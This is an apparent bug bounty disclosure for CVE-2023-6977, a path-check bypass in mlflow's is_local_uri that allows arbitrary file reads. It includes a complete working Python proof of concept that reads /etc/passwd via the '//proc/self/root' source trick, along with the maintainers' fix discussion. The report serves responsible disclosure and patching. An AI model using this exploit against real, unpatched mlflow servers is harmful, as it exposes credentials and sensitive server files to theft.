Local File Disclosure bypass in mlflow/mlflow

Valid Reported on Nov 2nd 2023

Write-up

Description

This is a newer bypass to this submission.
Note: this PoC was tested on a Linux machine only.

Proof of Concept

Environment setup

Prerequisites: Python3 installed on the machine.

- Install latest version of mlflow:

```
pip3 install mlflow
```

- Install `pyenv`: installation guide.
- Start the server/ui:

```
mlflow ui --host 127.0.0.1:5001
```

Exploitation

- We define these 3 functions in our exploit script to make it easier to interact with the API:

```
import requests

s = requests.Session()

base_url = "http://127.0.0.1:5001"

# Create model
def create(name):
    data = {
        "name": name,
```

```
    }
    return s.post(
        f"{base_url}/ajax-api/2.0/mlflow/registered-models/create",
        json=data,
    )

# Create model version
def create_version(name, source):
    data = {
        "name": name,
        "source": source,
    }
    return s.post(
        f"{base_url}/ajax-api/2.0/mlflow/model-versions/create",
        json=data,
    )

# Get model version artifact
def get(name, path, version=1):
    params = {
        "name": name,
        "path": path,
        "version": version,
    }
    return s.get(
        f"{base_url}/model-versions/get-artifact",
        params=params,
    )
```

- Create a model named "PoC":

```
name = "PoC"
resp = create(name)
print(resp.json())
```

  Output:

```
{"registered_model": {"name": "PoC", "creation_timestamp": 1698934121711, "last
```

- Create a model version with `source` set to "//proc/self/root" (which is a symlink to "/"):

```
resp = create_version(name, source='//proc/self/root')
print(resp.json())
```

  Output:

```
{"model_version": {"name": "PoC", "version": "1", "creation_timestamp": 1698934
```

- Get an artifact with `path` set to "etc/passwd" (or any other file on the system, just make sure not to add a slash at the start):

```
resp = get(name, path="etc/passwd", version=1)
print(resp.text)
```

Output (truncated):

```
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

- Full PoC script (`xpl.py`):

```python
import requests

s = requests.Session()

base_url = "http://127.0.0.1:5001"

# Create model
def create(name):
    data = {
        "name": name,
    }
    return s.post(
        f"{base_url}/ajax-api/2.0/mlflow/registered-models/create",
        json=data,
    )

# Create model version
def create_version(name, source):
    data = {
        "name": name,
        "source": source,
    }
    return s.post(
        f"{base_url}/ajax-api/2.0/mlflow/model-versions/create",
        json=data,
    )

# Get model version artifact
def get(name, path, version=1):
    params = {
        "name": name,
```

```
        "path": path,
        "version": version,
    }
    return s.get(
        f"{base_url}/model-versions/get-artifact",
        params=params,
    )

if __name__ == "__main__":
    # Create model
    name = "PoC"
    resp = create(name)
    # print(resp.json())

    # Create model version
    resp = create_version(name, source='//proc/self/root')
    # print(resp.json())

    # Get artifact
    file_to_read = "/etc/passwd" # can be changed to any filepath
    path = file_to_read.lstrip("/") # remove leading slash
    resp = get(name, path=path, version=1)
    print(resp.text)
```

- Run the PoC script like this:

```
python3 xpl.py
```

  Output (truncated):

```
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

Vulnerable code

The vulnerability resides in `is_local_uri` function inside `mlflow/utils/uri.py`:

```
def is_local_uri(uri, is_tracking_or_registry_uri=True):
    """
    Returns true if the specified URI is a local file path (/foo or file:/foo).
```

```
    :param uri: The URI.
    :param is_tracking_uri: Whether or not the specified URI is an MLflow Tracking
                            Model Registry URI. Examples of other URIs are MLflow a
                            filesystem paths, etc.
    """
    if uri == "databricks" and is_tracking_or_registry_uri:
        return False

    if is_windows() and uri.startswith("\\\\"):
        # windows network drive path looks like: "\\<server name>\path\..."
        return False

    parsed_uri = urllib.parse.urlparse(uri)
    if parsed_uri.hostname and not (
        parsed_uri.hostname == "."
        or parsed_uri.hostname.startswith("localhost")
        or parsed_uri.hostname.startswith("127.0.0.1")
    ):
        return False

    scheme = parsed_uri.scheme
    if scheme == "" or scheme == "file":
        return True

    if is_windows() and len(scheme) == 1 and scheme.lower() == pathlib.Path(uri).dr
        return True

    return False
```

The interesting piece of code resides here:

```
parsed_uri = urllib.parse.urlparse(uri)
if parsed_uri.hostname and not (
    parsed_uri.hostname == "."
    or parsed_uri.hostname.startswith("localhost")
    or parsed_uri.hostname.startswith("127.0.0.1")
):
    return False
```

Knowing that `uri` is set to "//proc/self/root", the hostname that `urlparse` parses is "proc", therefore the check above is verified and `is_local_uri` returns `False`. Though it is clear that `//proc/self/root` is a local URI (Linux sees the 2 slashes as one slash).

Impact

This vulnerability enables malicious users to read sensitive files on the server.

Occurrences

uri.py L42-L48

The checks in `is_local_uri` can be bypassed using a string such as "//proc/self/root".

References

- Origina report

We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago

Mabrouki Malik commented 2 years ago — Researcher

I guess a potential fix would be to move the hostname checks after the scheme checks. That's because the scheme is empty for a path like "//proc/self/root". And this piece of code for checking the scheme detects it:

```
scheme = parsed_uri.scheme
if scheme == "" or scheme == "file":
    return True
```

I will submit a patch for this.

Mabrouki Malik submitted a **patch** 2 years ago

Mabrouki Malik commented 2 years ago — Researcher

I can confirm that the patch successfully detects URIs like "//proc/self/root" as local URIs.

Harutaka Kawamura commented 2 years ago — Maintainer

Thanks for reporting this. I scan ee "Laid Malik submitted a patch". Does this mean you created a PR in the mlflow repository?

Harutaka Kawamura commented 2 years ago — Maintainer

I scan ee -> I can see

Mabrouki Malik commented 2 years ago — Researcher

Hi, no I didn't create a PR, just a branch in my local fork. Is that a problem?

Harutaka Kawamura commented 2 years ago — Maintainer

I can see the patch here:
https://github.com/mlflow/mlflow/compare/HEAD...malikdacoda:chenx3n/fix-lfd

Can you file a PR? or can we file a PR?

Mabrouki Malik commented 2 years ago — Researcher

Yes you guys can file a PR if that's okay with you. I guess it would be more productive if you do it as I'm not familiar with your PR guidelines.

Harutaka Kawamura commented 2 years ago — Maintainer

Sounds good. I'll file a PR.

Mabrouki Malik commented 2 years ago — Researcher

Cool. So does this mean you guys are validating this report?

Harutaka Kawamura commented 2 years ago — Maintainer

I created https://github.com/mlflow/mlflow/pull/10638.

Mabrouki Malik commented 2 years ago — Researcher

Thanks. Is there any other step I need to do before you can validate the report?

Ben Wilson validated this vulnerability 2 years ago

This is valid. PR has been merged and will be included in the next release.
https://github.com/mlflow/mlflow/pull/10638

chenx3n has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Mabrouki Malik commented 2 years ago — Researcher

Thank you. Can I request a CVE for this bug? Also will I get the fix bounty since the fix is based on the patch I provided above? That would be cool, thanks.

Harutaka Kawamura marked this as fixed in 2.9.2 with commit 4bd7f2 2 years ago

$ The fix bounty has been dropped ×

$ uri.py#L42-L48 has been validated ✓

This vulnerability has now been published 2 years ago

Mabrouki Malik commented 2 years ago Researcher

Thanks!

CVE
CVE-2023-6977
Published

Vulnerability Type
CWE-29: Path Traversal: '\..\filename'

Severity
Critical (10)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	Low

Open in visual CVSS calculator

Registry
Pypi

Affected Version
1.0.0 - 2.8.0

Visibility
Public

Status
Fixed

Disclosure Bounty
$1500

Fix Bounty
$375

Found by

Mabrouki Malik
@chenx3n
UNPROVEN

Supported by Palo Alto Networks and Prisma AIRS, leading the way to greater AI security.